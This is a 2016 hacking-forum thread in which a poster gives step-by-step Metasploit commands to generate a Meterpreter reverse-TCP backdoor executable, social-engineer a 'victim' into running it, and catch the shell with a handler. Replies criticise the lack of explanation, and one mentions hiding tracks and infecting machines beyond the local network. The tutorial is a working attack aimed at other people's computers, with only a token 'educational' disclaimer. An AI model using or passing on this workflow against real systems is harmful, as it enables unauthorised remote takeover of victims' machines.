

Forum:[Hack Forums](#)

Thread: [Using Metasploit to Hack a Windows 7 machine](#)

LaDearius - November 20, 2016, 9:42 am

First of all!

Hey, i am new to this site, but the last months i was working on a lot of Tutorials, and Programms. A friend of mine told me i could release all of them here! He said a lot of users are nice and give good feedback! My first post will be about Metasploit to "hack" in to a windows 7 machine.

First of all : All my tutorials are only for EDUCATIONAL purposes. And if not (just keep sst)

Requirements:

- 1.Kali Linux/Backtrack
- 2.Metasploit Framework

1.Open Terminal and type

Code "service postgresql start && service metasploit start " (without quotation)

2.Now we need to create a payload for the machine

command for creating a payload

Code ' msfpayload windows/meterpreter/reverse_tcp LHOST=yourip LPORT=4444 x >

/root/backdoor.exe 'okay here after LHOST=enter your ip (to get your ip open terminal and type ifconfig and get the ip)

3.Use your social engineering skill to run the payload in the victim machine.

4.After you are successfully complete step 3

5.Open the terminal and type

Code " service postgresql start && service metasploit start " (without quotation)

6.And type Code ' msfconsole '

and then type the following

Code use exploit/multi/handler (press enter)

set payload windows/meterpreter/reverse_tcp (press enter)

set lhost (the ip you provided while creating the payload) (press enter)

set lport 4444 (press enter)

exploit

and you are done!

If you liked the tutorial, pleas give some good feedback (and some good Reputation). If you have any1 feedback to make my posts better! I would like to hear it!

Peace ? ?

Faith Connors - November 20, 2016, 10:08 am

It would be better if you explained what stuff does instead of breeding more skids here.

LaDearius - November 20, 2016, 10:10 am

(Nov 20, 2016 11:08 AM)Faith Connors Wrote: [\[CITE\]](#) It would be better if you explained what stuff does instead of breeding more skids here.

Hmm, kk thx, will keep in mind !

jekankerslet - November 20, 2016, 11:58 am

Thanks for making a TuT for people who don't know how it works <3

Faith Connors - November 20, 2016, 12:02 pm

(Nov 20, 2016 12:58 PM)jekankerslet Wrote: [\[CITE\]](#) Thanks for making a TuT for people who don't know how it works <3

But even after reading this they still won't know how it works.

Like for example, why do you need Postgres or a DB service running?

Why do we use the reverse_tcp payload?

What does LHOST stand for?

How does the connection work?

How do you hide your tracks by masking your IP/Why is using your actual IP bad?

How do you infect someone off your network (ifconfig only gives your local IP)

There are no explanations here, just telling people "type these words to be a l33t"

jekankerslet - November 20, 2016, 12:16 pm

(Nov 20, 2016 01:02 PM)Faith Connors Wrote: [\[CITE\]](#) But even after reading this they still won't know how it works.

Like for example, why do you need Postgres or a DB service running?

Why do we use the reverse_tcp payload?

What does LHOST stand for?

How does the connection work?

How do you hide your tracks by masking your IP/Why is using your actual IP bad?

How do you infect someone off your network (ifconfig only gives your local IP)

There are no explanations here, just telling people "type these words to be a l33t"

Hmmm, think i will make some more explaining TuTs for it, don't think this guy will do it, i will make some tuts who will explain it

JustADueLeaveMeAlone - November 20, 2016, 4:58 pm

Please, do I want to understand how this works and I have no idea how Kali works.